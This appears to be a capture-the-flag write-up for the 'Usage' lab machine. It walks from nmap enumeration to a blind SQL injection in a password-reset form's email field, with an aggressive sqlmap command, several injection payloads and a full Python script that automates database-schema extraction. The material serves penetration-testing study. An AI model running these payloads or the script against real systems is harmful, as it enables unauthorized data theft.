Enumeration
nmap / rustscan
Open 10.10.11.18:22
Open 10.10.11.18:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFfdLKVCM7tItpTAWFFy6gTlaOXOkNbeGIN9+NQMn89HkDBG3W3XDQDyM5JAYDlvDpngF58j/WrZkZw0rS6YqS0=
| 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHr8ATPpxGtqlj8B7z2Lh7GrZVTSsLb6MkU3laICZlTk
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
web app
main site usage.htb
Based on nmap scan, port 80 of the IP (http://10.10.11.18) redirects to usage.htb so we add it to /etc/hosts and navigating to http://usage.htb
we get a login page
Very simple web app with only 3 links on the top right.
Login:
I believe this is the main page as it leads to the same interface as the main page
Register:
Register an account – we can try that next
Admin:
Seems to be a link to the Admin login/dashboard, however, it links to admin.usage.htb
so we add that to /etc/hosts and try it later.
subdomain bruteforcing
Since we found a subdomain, let’s do subdomain bruteforcing to see if there are other subdomains in use and leave it to run while we check other things.
We get a 503 when navigating to the Admin page
But we now know it’s running version 1.18.0 of nginx server.
We can try to seachsploit nginx 1.18.0 but for now let’s try to register an account.
register and login
After registering and logging in, we get a dashboard of featured blogs with article names and their corresponding brief description which seems quite random and without any hyperlinks (other than logout on top right).
CTRL-U to view the source and we really don’t see anything interesting.
cookies
CTRL-SHIFT-I to open the browser Dev Tools to check for cookies and we find 2 cookies, a Laravel session cookie and an XSRF Token. This suggests that the web app is running Laravel.
blog article hints?
Reading again the seemingly random blog article descriptions, we see a lot of mention about Server-Side Pentesting and then the last headline mentioning Laravel PHP which is a web app based on PHP, a server-side language.
Since this is a CTF, the way in might be a PHP exploit, but at the same time, it can be a rabbit hole.
subdomain bruteforcing - nothing interesting
The subdomain bruteforcing didn’t bear any fruit.
Exploit
Blind SQLi
There are a few input fields we can test for SQLi in these pages:/login
/registration
/forget-password
The simplest and fastest way first is by using a single quote '
to look for anomalies as mentioned in PortSwigger.
https://portswigger.net/web-security/sql-injection#how-to-detect-sql-injection-vulnerabilities
Interestingly, the web app returns a 500 error page when a single quote is keyed in to the email field in the /forget-password
form (email
parameter).
A typical error would look like this:
We can then try some SQLi payloads and again the most popular one works:' OR 1=1 -- -
But this indicates that it’s a Blind SQLi since we cannot see the output of the SQL queries.
sqlmap
From here, I was stuck. Since sqlmap is explicitly not allowed to be used in OSCP, I tried searching for an OSCP-friendly method but all I could find was the sqlmap method. So I decided to see what allowed sqlmap to enumerate the databases and tried mimicking it by writing my own script.
Before running sqlmap, I will send a legitimate POST request to capture it in Burp. Subsequently, I will save it to a file as input for the sqlmap command.
sqlmap -r sqlmap.req --level 5 --risk 3 -p email --batch --dbs -v 3
-r
flag for the request file--level 5
and --risk 3
for the most aggressive because we don’t care-p email
for the parameter to test--batch
so that sqlmap will use the default and not request for user input--dbs
to enumerate databases-v 3
because 2 doesn’t display the payloads as they’re used and 4 is too verbose
We let it run for a bit before it confirms a boolean-based (and time-based) blind SQLi.
studying sqlmap
Now I’m interested to see how sqlmap enumerates the DBs. It will first try to find how many DBs there are.
One of the payloads to enumerate number of databases:
e@mail.com' AND 9850=(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51) THEN 9850 ELSE (SELECT 5053 UNION SELECT 2952) END))-- -
One look and we can tell that it is using a very complex SQL query but if we break it down, it is essentially counting the distinct schema names
in the INFORMATION_SCHEMA.SCHEMATA
, a table containing metadata about all databases. Thanks, ChatGPT.
So if we’re just counting the number of schema names to find the number of databases and then comparing it to a number, we can just simplify the payloads:
e@mail.com' AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) = 1-- -
[email protected]' AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) = 2-- -
e@mail.com' AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) = 3-- -
..
..
python script
Long story short, I also took a look at how sqlmap enumerated the DB names as well as tables and wrote a python script to perform my own enumeration.
blindsqli.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186
import requests import argparse def send_request(url, data, payload, cookies=None): data['email'] = payload # Update the email field with the payload # Send the POST request with headers and cookies response = requests.post(url, data=data, cookies=cookies) return response # Return the response object to check status and content def get_database_count(url, data, cookies): print("Checking number of databases...") for count in range(1, 20): # Adjust the range as necessary for the number of databases payload = f"[email protected]' AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) = {count}-- -" response = send_request(url, data, payload, cookies) print(f"Count {count}: {payload}") # Check response status if response.status_code == 200: if "Email address does not match in our records!" not in response.text: print(f"Database count confirmed: {count}\n") return count # Return the database count elif response.status_code in [302, 500]: continue # Ignore these statuses for the count check return 0 # Return 0 if not found def get_schema_lengths(url, data, cookies, database_count): schema_lengths = [] for db_index in range(database_count): print(f"Checking for Schema Length of DB {db_index + 1}...") length = 0 # Step 1: Check for length <= 10, <= 20, or <= 30 if check_schema_length(url, data, cookies, db_index, 10): print(f"Schema Length is <= 10 for DB {db_index + 1}") # Step 2: Check exact length between 1 and 10 length = find_exact_length(url, data, cookies, db_index, range(10, 0, -1)) # Reverse to check from 10 down to 1 elif check_schema_length(url, data, cookies, db_index, 20): print(f"Schema Length is <= 20 for DB {db_index + 1}") # Step 3: Check exact length between 11 and 20 length = find_exact_length(url, data, cookies, db_index, range(20, 10, -1)) # Check from 20 down to 11 elif check_schema_length(url, data, cookies, db_index, 30): print(f"Schema Length is <= 30 for DB {db_index + 1}") # Step 4: Check exact length between 21 and 30 length = find_exact_length(url, data, cookies, db_index, range(30, 20, -1)) # Check from 30 down to 21 if length > 0: schema_lengths.append(length) print(f"Schema Length for DB {db_index + 1} is: {length}\n") return schema_lengths # Return a list of schema lengths def check_schema_length(url, data, cookies, db_index, max_length): """Check if the schema length is <= max_length.""" payload = f"[email protected]' AND (SELECT LENGTH(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT {db_index}, 1) <= {max_length}-- -" response = send_request(url, data, payload, cookies) print(f"Checking if schema length <= {max_length}: {payload}") if response.status_code == 200: if "Email address does not match in our records!" not in response.text: return True return False def find_exact_length(url, data, cookies, db_index, length_range): """Find the exact length by checking specific values in the given range.""" for length in length_range: payload = f"[email protected]' AND (SELECT LENGTH(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT {db_index}, 1) = {length}-- -" response = send_request(url, data, payload, cookies) print(f"Checking if schema length = {length}: {payload}") if response.status_code == 200: if "Email address does not match in our records!" not in response.text: return length # Return the found length return 0 # Return 0 if not found def check_group_characters(url, data, cookies, db_index, i, groups): """Check through character groups in the correct order to identify the schema name character.""" for group_name, group_chars in groups: # Use SQLi payload to check if the character belongs to the group group_check_payload = f"[email protected]' AND (SELECT SUBSTRING(schema_name, {i}, 1) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT {db_index}, 1) IN ({', '.join([repr(char) for char in group_chars])})-- -" response = send_request(url, data, group_check_payload, cookies) print(f"Checking group: {group_name}: {group_check_payload}") # Check response status if response.status_code == 200: if "Email address does not match in our records!" not in response.text: # If the character is in the group, proceed to identify the character print(f"--Character is in {group_name}--") for char in group_chars: char_check_payload = f"[email protected]' AND (SELECT SUBSTRING(schema_name, {i}, 1) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT {db_index}, 1) = '{char}'-- -" char_response = send_request(url, data, char_check_payload, cookies) print(f"Checking character: {char}: {char_check_payload}") # Check response status if char_response.status_code == 200: if "Email address does not match in our records!" not in char_response.text: return char # Return the found character elif char_response.status_code in [302, 500]: continue # Ignore these statuses elif response.status_code in [302, 500]: continue # Ignore these statuses return '' # Return empty string if no character is found def enumerate_schema_names(url, data, cookies, schema_lengths): schema_names = [] # Define groups and group names in the desired order groups = [ ("Lower Case 1", 'abcdefghijklm'), ("Lower Case 2", 'nopqrstuvwxyz'), ("Special Characters", '_$@'), ("Numbers", '0123456789'), ("Upper Case 1", 'ABCDEFGHIJKLM'), ("Upper Case 2", 'NOPQRSTUVWXYZ') ] for db_index, length in enumerate(schema_lengths): schema_name = '' print(f"Checking for Schema Name of DB {db_index + 1}...") for i in range(1, length + 1): # Check the character group for each character position char = check_group_characters(url, data, cookies, db_index, i, groups) if char: schema_name += char # Append the character to the schema name print(f"Character found at position {i} for database {db_index + 1}: {char}") print(f"Schema Name so far: {schema_name}\n") schema_names.append(schema_name) # Store the complete schema name return schema_names # Return list of schema names def get_table_count(url, data, cookies): print("Checking number of tables...") for count in range(1, 20): # Adjust the range as necessary for the number of databases payload = f"[email protected]' AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = '') = {count}-- -" response = send_request(url, data, payload, cookies) print(f"Count {count}: {payload}") # Check response status if response.status_code == 200: if "Email address does not match in our records!" not in response.text: print(f"Database count confirmed: {count}\n") return count # Return the database count elif response.status_code in [302, 500]: continue # Ignore these statuses for the count check return 0 # Return 0 if not found def main(): # Set up argument parser parser = argparse.ArgumentParser(description="SQLi Schema Enumeration Script") parser.add_argument('--url', required=True, help='Target URL for POST request') parser.add_argument('--cookies', required=True, help='Cookies for the request in key=value format, separated by commas') parser.add_argument('--postdata', required=True, help='POST data in key=value format, separated by &') args = parser.parse_args() # Define the URL and POST data url = args.url data = dict(item.split('=') for item in args.postdata.split('&')) # Split key=value pairs # Parse cookies cookies = {} for cookie in args.cookies.split(','): key, value = cookie.split('=') cookies[key.strip()] = value.strip() # Step 1: Get the number of databases num_databases = get_database_count(url, data, cookies) if num_databases > 0: print(f"Total number of databases found: {num_databases}\n") # Step 2: Get the schema lengths for all databases schema_lengths = get_schema_lengths(url, data, cookies, num_databases) # Step 3: Enumerate the schema names schema_names = enumerate_schema_names(url, data, cookies, schema_lengths) # Step 4: Enumerate tables print(f"") for i, schema_name in enumerate(schema_names): print(f"Schema name for database {i + 1}: {schema_name}") if __name__ == "__main__": main()
testing the script
It was a lot of work but it works.
python3 blindsqli.py --url 'http://usage.htb/forget-password' --postdata '_token=uniQoxxa7t6FcBVqjiC6z0eiqFxh7D7MybadzUrL&email=' --cookies 'laravel_session=eyJpdiI6IkZCWU01VUhXbWJNcHZHUGJ6ZmVCMEE9PSIsInZhbHVlIjoiNEVoZGdLRTZQUlZVQTFFbFJYV1pOejhHd3BKcmpoZXg4TWwzSWpHTTV1bmlHZW03ZHdMSkVkQ2FpMEVzT05BOE8rdlZEU01sQ3h4M1ZiU2c1eGRMWXkrblFjeS9HZXpUOGsreU1adnZ2SEN3TmozUExoOTRlOFdidzRtV0RUMEUiLCJtYWMiOiJmOGMwZWExZGEzNGJlYjI1N2U3NzFiMTRhYjYwZmUwMzhlYzkxNGExOWYyYjhjNTg4YWY1MWQxZTQ0NzI1Yjg4IiwidGFnIjoiIn0%3D'
The script also takes time to run because I cannot for the life of me implement multi-threading to speed up the enumeration even with ChatGPT’s help.